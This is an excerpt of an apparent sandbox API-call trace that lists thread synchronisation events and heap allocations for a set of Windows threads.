1 [0069.230] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.431] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0071.009] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 158 os_tid = 0x113c [0066.482] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.014] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.163] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.310] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.430] SetEvent (hEvent=0x344) returned 1 [0067.430] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0067.578] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.175] SetEvent (hEvent=0x344) returned 1 [0068.175] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.343] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0068.997] SetEvent (hEvent=0x344) returned 1 [0068.997] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0069.229] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0070.438] SetEvent (hEvent=0x344) returned 1 [0070.438] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 [0071.014] SetEvent (hEvent=0x344) returned 1 [0071.014] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 159 os_tid = 0x1140 [0066.574] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.574] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.574] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.574] SetEvent (hEvent=0x33c) returned 1 [0066.574] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.574] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x180) returned 0x1ec0a661fe0 [0066.575] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x1000) returned 0x1ec0ddcb5a0 [0066.575] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0ddcb5a0, Size=0x2000) returned 0x1ec0ddcb5a0 [0066.575] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0ddcb5a0, Size=0x4000) returned 0x1ec0ddcd5b0 [0066.577] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0ddcd5b0, Size=0x8000) returned 0x1ec0ddd15c0 [0066.578] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x1000) returned 0x1ec0ddd95d0 [0066.578] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0ddd95d0, Size=0x2000) returned 0x1ec0ddd95d0 [0066.578] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0ddd95d0, Size=0x4000) returned 0x1ec0ddcb5a0 [0066.578] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0ddcb5a0, Size=0x8000) returned 0x1ec0ddd95d0 [0066.578] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.579] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x1000) returned 0x1ec0dde15e0 [0066.579] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde15e0, Size=0x2000) returned 0x1ec0dde15e0 [0066.579] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde15e0, Size=0x4000) returned 0x1ec0dde15e0 [0066.579] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde15e0, Size=0x8000) returned 0x1ec0dde55f0 [0066.579] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x1000) returned 0x1ec0dded600 [0066.579] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dded600, Size=0x2000) returned 0x1ec0dde15e0 [0066.579] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde15e0, Size=0x4000) returned 0x1ec0dde15e0 [0066.579] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde15e0, Size=0x8000) returned 0x1ec0dded600 [0066.580] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.580] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x1000) returned 0x1ec0ddf5610 [0066.580] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0ddf5610, Size=0x2000) returned 0x1ec0ddf5610 [0066.580] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0ddf5610, Size=0x4000) returned 0x1ec0dde15e0 [0066.580] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde15e0, Size=0x8000) returned 0x1ec0ddf5610 [0066.581] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x1000) returned 0x1ec0ddfd620 [0066.581] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0ddfd620, Size=0x2000) returned 0x1ec0ddfd620 [0066.581] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x180) returned 0x1ec0a662170 [0066.581] SetEvent (hEvent=0x33c) returned 1 [0066.621] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.621] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.621] SetEvent (hEvent=0x33c) returned 1 [0066.621] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.621] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.621] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x180) returned 0x1ec0de00270 [0066.621] SetEvent (hEvent=0x33c) returned 1 [0066.633] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.633] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.633] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.633] SetEvent (hEvent=0x33c) returned 1 [0066.633] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.634] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.634] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.634] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x180) returned 0x1ec0de00400 [0066.634] SetEvent (hEvent=0x33c) returned 1 [0066.646] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.646] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.646] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.646] SetEvent (hEvent=0x33c) returned 1 [0066.647] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.647] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.647] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.647] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x180) returned 0x1ec0de00590 [0066.647] SetEvent (hEvent=0x33c) returned 1 [0066.659] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.659] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.659] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.659] SetEvent (hEvent=0x33c) returned 1 [0066.659] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.659] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.659] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0066.660] SetEvent (hEvent=0x33c) returned 1 [0066.669] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.017] SetEvent (hEvent=0x33c) returned 1 [0067.017] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.208] SetEvent (hEvent=0x33c) returned 1 [0067.208] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.421] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.581] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.184] SetEvent (hEvent=0x33c) returned 1 [0068.184] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.440] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.403] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.448] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.495] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.546] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.612] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.974] SetEvent (hEvent=0x33c) returned 1 [0070.974] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 160 os_tid = 0x1144 [0066.669] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.017] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.183] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.420] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.581] SetEvent (hEvent=0x33c) returned 1 [0067.581] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.184] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.441] SetEvent (hEvent=0x33c) returned 1 [0068.441] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.403] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.449] SetEvent (hEvent=0x33c) returned 1 [0070.449] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.494] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.546] SetEvent (hEvent=0x33c) returned 1 [0070.546] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.612] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.665] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 161 os_tid = 0x1148 [0066.669] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.017] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.183] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.420] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.565] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.161] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.418] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.402] SetEvent (hEvent=0x33c) returned 1 [0070.402] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.447] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.494] SetEvent (hEvent=0x33c) returned 1 [0070.494] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.544] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.612] SetEvent (hEvent=0x33c) returned 1 [0070.612] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.665] SetEvent (hEvent=0x33c) returned 1 [0070.665] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 162 os_tid = 0x114c [0066.669] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.018] SetEvent (hEvent=0x33c) returned 1 [0067.018] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.207] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.421] SetEvent (hEvent=0x33c) returned 1 [0067.421] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.582] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.205] SetEvent (hEvent=0x33c) returned 1 [0068.205] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.466] SetEvent (hEvent=0x33c) returned 1 [0068.466] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.412] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.455] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.502] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.553] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.621] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0071.000] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 163 os_tid = 0x1150 [0066.670] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.018] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.208] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.421] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.582] SetEvent (hEvent=0x33c) returned 1 [0067.582] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.204] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.465] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.411] SetEvent (hEvent=0x33c) returned 1 [0070.411] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.454] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.502] SetEvent (hEvent=0x33c) returned 1 [0070.502] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.552] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.620] SetEvent (hEvent=0x33c) returned 1 [0070.620] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.974] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 164 os_tid = 0x1154 [0066.670] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.018] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.208] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.421] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.580] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.182] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.440] SetEvent (hEvent=0x33c) returned 1 [0068.440] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.403] SetEvent (hEvent=0x33c) returned 1 [0070.403] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.448] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.495] SetEvent (hEvent=0x33c) returned 1 [0070.495] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.545] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.613] SetEvent (hEvent=0x33c) returned 1 [0070.613] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.682] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 165 os_tid = 0x1158 [0066.670] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.031] SetEvent (hEvent=0x33c) returned 1 [0067.031] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.209] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0ddcb5a0, Size=0x8000) returned 0x1ec0de1b110 [0067.209] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.435] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.582] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.204] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.465] SetEvent (hEvent=0x33c) returned 1 [0068.465] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.410] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.454] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.501] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.552] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.619] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.975] SetEvent (hEvent=0x33c) returned 1 [0070.975] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 166 os_tid = 0x115c [0066.671] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.031] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.209] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x1000) returned 0x1ec0de23120 [0067.210] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x180) returned 0x1ec0de24130 [0067.210] SetEvent (hEvent=0x33c) returned 1 [0067.210] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.437] SetEvent (hEvent=0x33c) returned 1 [0067.437] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.677] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.224] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.466] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.410] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.454] SetEvent (hEvent=0x33c) returned 1 [0070.454] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.501] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.553] SetEvent (hEvent=0x33c) returned 1 [0070.553] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.619] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.682] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 167 os_tid = 0x1160 [0066.671] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.032] SetEvent (hEvent=0x33c) returned 1 [0067.032] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.208] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.436] SetEvent (hEvent=0x33c) returned 1 [0067.436] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.676] SetEvent (hEvent=0x33c) returned 1 [0067.676] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.224] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0069.028] SetEvent (hEvent=0x33c) returned 1 [0069.028] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.439] SetEvent (hEvent=0x33c) returned 1 [0070.439] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.482] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.535] SetEvent (hEvent=0x33c) returned 1 [0070.535] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.599] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.649] SetEvent (hEvent=0x33c) returned 1 [0070.650] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0071.019] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 168 os_tid = 0x1164 [0066.671] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.031] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.209] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.436] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.581] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.204] SetEvent (hEvent=0x33c) returned 1 [0068.204] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.465] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.411] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.454] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.501] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.552] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.619] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.974] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 169 os_tid = 0x1168 [0066.671] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.046] SetEvent (hEvent=0x33c) returned 1 [0067.046] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.222] SetEvent (hEvent=0x33c) returned 1 [0067.222] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.454] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.017] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.225] SetEvent (hEvent=0x33c) returned 1 [0068.225] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0069.028] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.438] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.482] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.535] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.599] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.649] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0071.019] SetEvent (hEvent=0x33c) returned 1 [0071.019] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 170 os_tid = 0x116c [0066.671] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.046] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.221] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.436] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.677] SetEvent (hEvent=0x33c) returned 1 [0067.677] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.224] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.466] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.412] SetEvent (hEvent=0x33c) returned 1 [0070.412] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.455] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.503] SetEvent (hEvent=0x33c) returned 1 [0070.503] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.553] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.621] SetEvent (hEvent=0x33c) returned 1 [0070.621] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0071.001] SetEvent (hEvent=0x33c) returned 1 [0071.001] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 171 os_tid = 0x1170 [0066.671] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.046] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.221] SetEvent (hEvent=0x33c) returned 1 [0067.221] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.436] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.676] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.224] SetEvent (hEvent=0x33c) returned 1 [0068.224] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0069.028] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.411] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.455] SetEvent (hEvent=0x33c) returned 1 [0070.455] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.502] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.554] SetEvent (hEvent=0x33c) returned 1 [0070.554] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.620] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0071.000] SetEvent (hEvent=0x33c) returned 1 [0071.000] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) Thread: id = 172 os_tid = 0x1174 [0066.672] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.047] SetEvent (hEvent=0x33c) returned 1 [0067.047] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.298] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0067.454] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.018] SetEvent (hEvent=0x33c) returned 1 [0068.018] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0068.225] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0069.029] SetEvent (hEvent=0x33c) returned 1 [0069.029] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.438] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.483] SetEvent (hEvent=0x33c) returned 1 [0070.483] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) returned 0x0 [0070.534] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0xffffffff) 